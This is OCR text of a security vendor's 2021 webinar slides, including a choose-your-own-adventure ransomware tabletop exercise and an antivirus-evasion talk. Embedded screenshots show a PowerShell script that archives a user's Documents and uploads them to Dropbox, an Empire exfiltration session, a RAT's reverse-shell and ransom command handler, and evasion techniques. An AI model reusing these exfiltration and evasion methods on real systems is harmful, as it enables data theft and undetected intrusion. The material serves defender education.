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'~ day 1.0 agenna
“Tuesday, March 23rd

1:00pm - :10pm T © Introduction

John Hammond
Huntress

Kyle Hanslovan
Huntress

110pm - 2:00pmET O Making the Malware:
A Choose-Your-Own-Adventure

Exercise

Barbara Paluszkiewicz
CDN Technologies

Kyle Hanslovan
Huntress

2:00pm - 3:00pmET QO

3:00pm - 4:00pm ET  (

4:00pm - 3:10pm ET

)

)

Tales from the Trenches:
Hacker Horror Stories

Felicia King Matt Lee
Quality Plus Consulting Iconic IT
Dave Kleinatland John
Ferrell

Huntress Huntress

Slipping Past Prevention:
An Intro to Antivirus Evasion

Jason Slagle
CNWR, Inc.

John Hammond
Huntress 5

Wrap Up

John Hammond
Huntress

»
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Kyle Hanslovan
Huntress



John Hammond Kyle Hanslovan

Senior Security Researcher Co-founder & CEO
Huntress Huntress
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_ Making the Malware:

A cnoose Your-Own Adventure Exerclse
1:10pm - 2:00pm ET

-~ Kyle Hanslovan Barbara Paluszkiewicz
Co-founder & CEO CEO
Huntress CDN Technologies @
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M Taies from the Trenches: -
~ Hacker Horror Stories
2:00pm - 3:00pm ET

Felicia King ak=—plty Dave Kleinatland ~ John Ferrell
President & Director of Security Researcher Co-founder &
- Security Architect Technology & Security Huntress Vice President
" Quality Plus Consulting Iconic IT Huntress @
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“ "' InIntro to Antivirus Evasion
‘ 3:00pm - 4:00pm ET

Jason Slagle John Hammond

Vice President of Technology Senior Security Researcher
CNWR, Inc. Huntress
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John Hammond Kyle Hanslovan

Senior Security Researcher Co-founder & CEO
Huntress Huntress

»
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~ We want to hear from you!

This is an educational session.

We want to make sure we are getting it right.

Throughout the event we will pop-up different polls to help
us gauge our own material, and better understand what we
can bring to the table for you.

»
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Be a part of the conversation!

Use the Zoom chat for discussion!

Be sure to set the chat setting
to “All panelists and attendees”

»
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Got a question?

Feel free to add questions in the designated “Q&A" feature

»

hack_it 2021



Don't go anywherel!

Sessions flow into each other... no changing Zoom session!*

*Day 1 and Day 2 links will be different.

®

hack_it 2021
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- Making the Malware

A cnoose Your-Own Adventure EXBI’GISB
1:10pm - 2:00pm ET

Barbara Paluszkiewicz @KyleHanslovan
CEO Chief Janitor
CDN Technologies Huntress @

hack_it 2021



Tabletop Exercises

Discussion-based sessions where team members meet in an informal,
classroom setting to discuss their roles and responses to a particular
emergency situation.

+

»
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https://lwww.ready.gov/business/testing/exercises



‘ _Tabletop Exercises

=N facilitator guides participants through a discussion of one or
more scenarios.

=

»
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Tabletop Exercises

Many tabletop exercises can be conducted in afew-hours an hour, so
they are cost-effective tools to validate plans and capabilities.

R
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J - PERSISTENCE

https://www.ready.gov/business/testing/exercises
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Some witty
question



No Wrong Paths

Each decision comes with its
own perks and unique risks.

Hackers, just like Defenders,
make painful mistakes.

Unfortunately, both sides can
also learn from those

mistakes.

e
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Scenario.Injects

An event or circumstance that requires a response or action from the

participant(s). Injects may be provided to specific participants or as a
component of the entire exercise.

»
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_ New Hire Orientation

Welcome to Shady Incorporated, the dark web's premiere
cybercrime solutions provider.

Based on the aptitude you shared during your interview process,
we've hand-selected you to help us wreak havoc across the

interwebz.

_ Making the Malware: - ®
A Choose-Your-Own Adventure Exercise  hack it 202
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Who are we
targeting today?



What type of
phishing lure?



PO" Time! Gather’

What's the path to
revenue?



Exfiltrate

How are we stealing
the data?



Profit

How can we maximize
our payout?
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Highland Medicinal Cannabis
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MARIJUANA

FOR YOUR “GLAUCOMA” ;)




__Saul Goodman, Attorney
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Penny Pincher Tax & CPA

If You Pay Ransom, Write It Off On A passion for the business of
Your Taxes accounting.

If you pay hackers ransom to keep your business operating, is it tax deductible?
Whether personal or business, it probably is, although the type of deduction can vary.
The IRS defines a theft as the taking and removing of money or property with the
intent to deprive the owner of it. The taking of property must be illegal under the laws
of the state where it occurred and it must have been done with criminal intent. But to
claim a deduction, you don't need to show a conviction for theft. Theft includes the

taking of money or property by:




Fake Invoice

Invoice #CS-45083203

Antoine Mullen

Dear Customer
Your invoice appears below. Please remit payment at your earliest convenience
Thank you for your business - we appreciate it very much

Sincerely,
Antoine Mullen Courier Service

invoice_copy 45083203.zip

-
R
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Podcast Lure

Darknet Diaries
Jack Rhysider

Guild of the Grumpy Old Hackers

JAN 1

NSA Cryptologists

PodcastPlayer.exe

TN
TN

A
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Malicious Update
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Ask For Help

MONEY & HOMES & HEALTH & JOBS & PRIVACY, IDENTITY & SCAMS » BLOG
CREDIT MORTGAGES FITNESS MAKING MONEY ONLINE SECURITY VIDEO & MEDIA

“I lost my wallet and ID. I'm stranded — please wire money.”

“Your grandson is being held in jail. He needs bail money right away.”

Scammers try to trick you into thinking a loved one is in trouble. They _E\‘\\
; Ts % <M
call, text, email, or send mes s on social media about a supposed \ST

emergency with a family member or friend. They ask you to senc hack " 202]




Credential Gathering

Raccoon Stealer. We steal, You deal!




Finance Fraud

Forwarded message
From: Ms. Amy E. Ferrer <admin345@inbox.It>
Date: Wed, Jun 7, 2017 at 2:03 PM
Subject: Transfer request
To: @udel.edu

Hello,

| will need you to process a wire transfer of $14,545.90 which needs to go out today as a
same value day payment. We have a pending invoice from our new Vendor, | have asked them to
send a copy of invoice hopefully i should received it later today.

Let me know if you are available so i can forward the beneficiary account
Kind regards,
Amy E. Ferrer

sent from my iPad

hack it 2021




_Intellectual Property

09/09 20:26:51

UTC [input] download C:\Users\ \OneDrive -
09/09 20:26:51 UTC [input] download C:\Users\ \OneDrive —
09/09 20:26:51 UTC [input] download C:\Users\ \OneDrive -
09/09 20:26:51 UTC [input] download C:\Users\ \OneDrive —

09/09 20:26:51
09/09 20:26:51
09/09 20:26:51
09/09 20:26:51

uTtC
uTC
e
uTC

[task] <T1005> Tasked beacon
[task] <T1005> Tasked beacon
[task] <T1005> Tasked beacon
[task] <T1005> Tasked beacon

to download C:\Users\
to download C:\Users\
to download C:\Users\
to download C:\Users\

09/01
09/01
09/01
09/01
09/01
09/01
09/01
09/01

15:58:52
15:58:52
15:58:52
15:58:52
15:58:52
15:58:52
15:58:52
15:58:52

uTC
uTC
uTC
uTC
uTC
uTC
uTC
uTC

[input]
[input]
[input]
[input]
[task]
[task]
[task]
[task]

download C:\Users\:
download C:\Users\:
download C:\Users\:
download C:\Users\:
<T1005>
<T1005>
<T1005>
<T1005>

Tasked beacon to download C:\Users\
Tasked beacon to download C:\Users\
Tasked beacon to download C:\Users\
Tasked beacon to download C:\Users\

Inc\Documents\Scanned Documents\Documents\IMG_0702.JPG
Inc\Documents\Scanned Documents\Documents\IMG_0703.JPG

USA,
USA,

USA, Inc\Documents\Scanned Documents\Documents\IMG_0704.JPG

USA, Inc\Documents\Scanned Documents\Documents\IMG_0708.JPG
\OneDrive - USA, Inc\Documents\Scanned Documents\Documents\IMG_0702.]PG
\OneDrive - USA, Inc\Documents\Scanned Documents\Documents\IMG_0703.JPG
\OneDrive - USA, Inc\Documents\Scanned Documents\Documents\IMG_0704.JPG
\OneDrive - USA, Inc\Documents\Scanned Documents\Documents\IMG_0708.J]PG

\Documents\PERSONAL INFO 2.pdf

\Documents\PERSONAL INFO 2.x1lsx
\Documents\PERSONAL INFO.pdf

\Documents\PERSONAL INFO.pdf.x1lsx
\Documents\PERSONAL INFO 2.pdf
\Documents\PERSONAL INFO 2.xlsx
\Documents\PERSONAL INFO.pdf
\Documents\PERSONAL INFO.pdf.xlsx



Ransomware

07/28/2020 00:47:12

Here are the list of recommendations to avoid such a things in future: n
- Turn off local passwords VA

- Force end of administrators sessions

- In group policy set up wdigest value to "0", If the UseLogonCredential value is set to 0, WDigest will not store credentials in
memory.

- Update passwords every month |

- Check the granted privileges for users, to make them maximum reduced privileges and access only to exact applications.

- In most cases there would enough standard windows software like an Applocker.

- Approve to run only necessaries applications ONLY.

- Don't count on the Anti-Virus, there is no one AV that really helps, they can be useful only in long-term infections, if hackers
for some reasons didn't attack in short time.

- Install Endpoint Detection and Response security (EDR) and teach the IT-admin to work with it.

- For huge companies we suggest at least 3 system administrators working 24 hours, maximum 4 admins working 3 shifts for
8 hours per day, that would be enough

m You 07/268/2020 00:51:17

- Thank you for all of this in a very timely manner

The Amazing Jack Stubbs - https://www.reuters.com/article/uk-cyber-cwt-ransom-idUKKCN24W26P



Legitimate File Sharing

(Empire: powershell/exfiltration/exfil dropbox) > set SourceFilePath C:\temp\exfil.zip
(Empire: powershell/exfiltration/exfil _dropbox) > set TargetFilePath /exfil/

(Empire: powershell/exfiltration/exfil dropbox) > set ApiKey lsdksfsijaisjajfskjrcnrada
(Empire: powershell/exfiltration/exfil dropbox) > execute

[*] Tasked 7W81MLX4 to run TASK CMD WAIT

[*] Agent 7W81MLX4 tasked with task ID 1

[*] Tasked agent 7W81MLX4 to run module powershell/exfiltration/exfil dropbox

(Empire: powershell/exfiltration/exfil dropbox) > I

B exfipst
Compress-Archive -Path $env:USERPROFILE\Documents\* -CompressionLevel NoCompression -DestinationPath
$env:TMP\$env:USERNAME-S$ (get-date -f yyyy-MM-dd).zip
$TargetFilePath="/$env:USERNAME-S$ (get-date -f yyyy-MM-dd).zip"
$SourceFilePath="$env:TMP\Senv:USERNAME-$(get-date -f yyyy-MM-dd).zip"
Sarg = '{ "path": "' + S$TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
Sauthorization = "Bearer " + "gFATusSHUV4AAAAAAAAU8270amwfKST_ODOIKISRTAI _el7tAE10F0j-z4SwZu2M"
$headers = New-Object "System.Collections.Generic.Dictionary[[String], [String]]"
Sheaders.Add("Authorization", Sauthorization)
Sheaders.Add("Dropbox-API-Arg", Sarg)
{ Sheaders.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile
$Sour&eFilePath -Headers Sheaders
rm $SourceFilePath

Hak5 - https://www.youtube.com/watch?v=TBBT1c2zjms



Slack / Discor

¢ public statu void OnDiscordCommand(object sender, MessagereceivedEventArgs message)
& | LR R ¢

e 7 . s 3 : 1¥ (commandenvelope. (105, Contains(Core.#10) || commandEnvelope.#/105.Count == @) by
. ! <
parallel.Foreach«Command>(commandEnvelope.onmands, delegate(Command command)
€
v switch (command.CommandCode)
e £
A= case ComsandCode.Getsile:
s g ® Fileclient.Addrile(command. Argument<[8], comsand. rgusents[@]);
i return;
case CommandCode.GetDirectory:
Files.Getoirectory(command. irgusents[@], false);
return;
case CommandCode.GetDirectoryRecursive:
Files.Getoirectory(command. srgunentsfe], true);
return;
case CommandCode.GetDeviceTree:
Files.GetDeviceTree();
return;
case CommandCode.Shell:
bt k™ new ReverseshellClient(command.irgusents[@], (command. rgusents.Count > 1) ? int.Parse(command. rguments[1]) : 443).StartListening();
7 return;
case CommandCode.Reporteack:
Core.Discordclient.Send(Core.swiD, null, null, null);
return;
case CommandCode.Ransom:
f CryptoEnvelope cryp lope = new (command. s gunents[@], command. irgusents[1], flost.Parse(command. rgusent<[2]), null).encrypt
(Core.encrypter.Decrypt(Constants.n));
Core.0iscordCiient.Send(Core.HiID + = Master Key: " + Utils.StringToBases4(cryptoEnvelope.Tostring()), null, null, null); r.
return; K 3
T case ¢ ode rypt: i ha
‘ 3 TR . 11 \: new Ransom(command.Argumentsfe], null, of, Convert.Fr astring(c d.Argumentsf1])).Decrypt();
) ) § e Core.DiscordClient.Send(Core,./iD + * Decrypted”, null, null, null);

. ,---?}” tg aid T
, : ’ default: '\
. return;

* £ e .
0 /%ilvv.rhh hack_it 20?1

ttpi' tyvlttencom &eamlstatus/ 1319236824070500353/photo/2
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Good OIld HTTPS

Wireshark - Follow TCP Stream (tcp.stream eq 0) -_2.pcap

GET /swip/upd/Orion.UI-
If-None-Match: df
Host:

Connection: Close

HTTP/1.1 200 OK

Content-Type: application/xml
Transfer-Encoding: chunked

Connection: close

Server: Microsoft-11S/10.0
X-AspNet-Version: 4.0.30319

X-Trace: 2B

X-Powered-By: ASP.NET

Date:

ETag: fee cdiif

<?xml version="1.0" encoding="utf-8"?>

sembly Name rion.UI" Key="{28 0-dcc8-471b-525f-b version="4.8">

<dependenci

<assemblyIdentity Na Microsoft.Threading.Tasks.Extensions.Desktop" K
fabb- }" Version="1.0.165. Culture="neutral" PublicKeyToken="d361b
Hash=
assemblyIdentity Name= - ' Version="2.6.0
Cultur neutral"” PublicKeyToken
S y e ame - ion.Cortex.BusinessLayer
PublicKeyToker

' culture="neutral" PublicKeyToken=
ssemblyIdentity Name="SolarWinds.Data.Providers.VIM.Plugin.v3" Ke
Versio 3.3.1.8604" Culture="neutral" PublicKeyToken=" " Hast /> -

<assemblyIdentity Name="Infragistics2.Win.Misc.v10.2" Key="{

hack it 2021

https://www fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html



DNS Traffic

’—| Initial Setup

Compromised
Machine

Data Exchange over DNS

Data Exchange

3. Malware sends a
password as a

subdomain to ex.fil.

1

2.

Recursive
DNS Server

. Attacker registers a
domain (ex.fil.)
Attacker sets ex.fil.

NS to a server he owns

| Password :
3hd93j1s4q 3hd93j1s4qlex.fil. > 3hd93j1s4q.ex.fil & hd9311s4q »‘7

Authoritative DNS
Server for ex.fil.

4. The request with the
password will be routed to
the attacker's server

Attacker

5. The attacker
acquires
the password

https://arxiv.org/pdf/1709.08395.pdf

hack it 2021
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_Anonymous Whistleblower
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Notify Journalists / Customers

the Record.

DS: You said that you like to apply additional pressure through DDoS [editor’s note: distributed
denial-of-service attacks involve flooding a site with junk traffic, making it unreachable]. How

effective is this scheme?

UNK: We do not use it often, in contrast to calls. Calling gives a very good result. We call each target

as well as their partners and journalists—the pressure increases significantly. And after that, if you

start publishing files, well, it is absolutely gorgeous. But to finish off with DDoS is to kill the company
Literally. | also think we will expand this tactic to persecution of the CEO and/or founder of the
company. Personal OSINT, bullying. | think this will also be a very fun option. But victims need to
understand that the more resources we spend before your ransom is paid—all this will be included in

the cost of the service. =)
DS: Tell me a secret.
UNK: As a child, | scrounged through the trash heaps and smoked cigarette butts. | walked 10 km one

way to the school. | wore the same clothes for six months. In my youth, in a communal apartment, |

didn't eat for two or even three days. Now | am a millionaire

https://therecord.mediali-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/




Leak Internal Documents &/
Q KY'E'H;”S’OVG” Happy Blog

Acer Inc.

https://www.bleepingcomputer.com/news/security/computer-giant-acer-hit-by-50-million-ransomware-attack/



Connect with Us!

Barbara Paluszkiewicz @KyleHanslovan

CEO Chief Janitor
CDN Technologies Huntress

»
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_ Cooking up Cybercrime -

| Yﬂll GIIOOSB the Recipe for nansomwar e
7:10pm - 8:00pm ET

-~ Kyle Hanslovan Barbara Paluszkiewicz
Co-founder & CEO CEO
Huntress CDN Technologies @

hack_it 2021
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M Taies from the Trenches: -
~ Hacker Horror Stories
2:00pm - 3:00pm ET

Felicia King ak=—plty Dave Kleinatland ~ John Ferrell
President & Director of Security Researcher Co-founder &
- Security Architect Technology & Security Huntress Vice President
" Quality Plus Consulting Iconic IT Huntress @

hack_it 2021
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B Slipping Past Prevention: -

An Intro to Antivirus Evasion
3:00pm - 4:00pm ET

Jason Slagle John Hammond
VP of Technology Senior Security Researcher
CNWR, Inc. Huntress

@
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Online Antivirus Scanners
Signature Based Detection
Heuristic Based Detection
Live Demonstrations
Takeaways

Live Q/A
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- How do you know what is safe? "

@.
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Online Antivirus Scanners

® Multi-engine utility

e Typically “free”

e Just upload a file, and wait for the results

»
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Who Cares About Stats?

e What makes a good online antivirus scanner?
o Number of antivirus engines

Max upload size

Report information

Search by hash (MD5, SHA1, SHA256, etc.)

Time to scan files

@% - ORPLAOR (3

»
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A Question of Trust

e Online antivirus scanners can be
or

e “Who will tell the security vendors?”
e Do you want the security community to know?

»
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Publlc Scanners

Actlvely share sample submissions

»
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FILE

> ] VIRUSTOTAL

URL

000
Q 000
000

SEARCH

t | sharing of your Sampie submission with the security community.

Choose file ‘

Signin Licensing

Trust No File.
Trust No Device.

l Advanced Options

Process

Terms of Service
Privacy Policy

J&tti

tti'e 1y W <
Jotti's malware scan

Submit files ©

Browse

Scanners used
5 (ll/l!};!‘! Bitdefender ¥ Clam AV ’m Aescan
(esfl) rFomATINET @FPROT < F-Secure G GDATA
sarus KT SOPHOS " TREND @ yvBA32

© 20042021 Jotti




_ Private Scanners

»

hack_it 2021



% AntiScan.Me %] Login &, Sign Up @ Fag Blog &% Contact |sul 6 scans remaining

‘ File

NEW UPDATE See new features on the blog.
If you have trouble with uploading a file - clear cookies and browser cache.
DISCOUNT! TOP-UP BANALCE AND GET 50% FREE

AVCHECK API - WORK

Choose File |No file chosen

Scan A File

Select your file in order to scan your file with over 26 anti-viruses.

Excel Exploit

Silent + Macro




“Dead” Private Scanners...

¥

scan4you.net
avcheck.ru
av-check.com
virtest.com
elementscanner.su
chk4me

»
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Look for the “Known Bad”

e Low-hanging fruit:
o Bad bytes/shellcode
o Static hashes
o Malicious IP addresses/domain names

e These are simple “signatures” AV collects

»
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Pyramid of Pain

A eTough!

Tools *Challenging

Network/ :
Host Artifacts .Annoymg

Domain Names eSimple

Hash Values eTrivial

WTN

R

http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html hack_it 2021




Signature Evasion

e Using different encoders
e Encrypting the payload

e Using custom obfuscation

»
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Encoders

4

el e Veil framework
--ordnance-payload

e Msfvenom encoders
x86/shikata ga nai, x64/zutto_dekiru

M

»
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_. Encryption

RSA

AES o
RCA This list goes

3DES on and on...

Serpent
Salsa20
Misty-1

@t
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Custom Obfuscation

e XOR, rotation cipher, base representation

e String concatenation, reversing, escaping

»

hack _it 2021



»

hack_it 2021



Behavior

e Does your payload allocate memory?
e Does it send network packets?

e Does it start new processes?

»
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Time for

Live Demonstrations

Jason Slagle John Hammond

VP of Technology Senior Security Researcher
CNWR, Inc. Huntress




Cross Your Fingers

This is an arms race.

»
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Is AV the Solution?

“Trust them only as‘far as you can throw them”

e No magic wand, no silver bullet.

e Invest in layered security.

»
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What About NextGen/Al/ML/Buzzword?

e Machine learning is

e Those programs only know how to catch
what it was programmed to know

»
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Isn't This a Losing Battle?

e Securityis a
e Ultimately, hackers should never “touch disk”

e Insert buzzword: “fileless malware”

®
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“Fileless Malware”

e How can hackers avoid writing to the filesystem?

e But defensive mitigations also hinder this

»
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Https://www.safetvdetectives.com/ blog/top-online-virus-checkers/
https://www.raymond.cc/blog/battle-of-the-6-online-malware-file-scanners/
https://krebsonsecurity.com/2009/12/virus-scanners-for-virus-authors/
https://krebsonsecurity.com/2010/04/virus-scanners-for-virus-authors-part-ii/
https://www.bleepingcomputer.com/news/security/75-percent-of-malware-uploaded-on-no-
distribute-scanners-is-unknown-to-researchers/

’  :
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https://www.safetydetectives.com/blog/top-online-virus-checkers/
https://www.raymond.cc/blog/battle-of-the-6-online-malware-file-scanners/
https://krebsonsecurity.com/2009/12/virus-scanners-for-virus-authors/
https://krebsonsecurity.com/2010/04/virus-scanners-for-virus-authors-part-ii/
https://www.bleepingcomputer.com/news/security/75-percent-of-malware-uploaded-on-no-distribute-scanners-is-unknown-to-researchers/
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Feel free to

Contact

Jason Slagle John Hammond

VP of Technology Senior Security Researcher
CNWR, Inc. Huntress
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John Hammond Kyle Hanslovan

Senior Security Researcher Co-founder & CEO
Huntress Huntress
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Some lasting questions!

Some feedback questions for you as the webinar closes out.

Please help us help you!
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Lookma, 'mon TV!

We did record this event!
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Want to continue the conversation?

Don't be a stranger.

Free 21-day trial

huntress.com/trial
hello@huntress.com

Kyvle
Hanslowvanmn

@_johnhammond @KyleHanslovan
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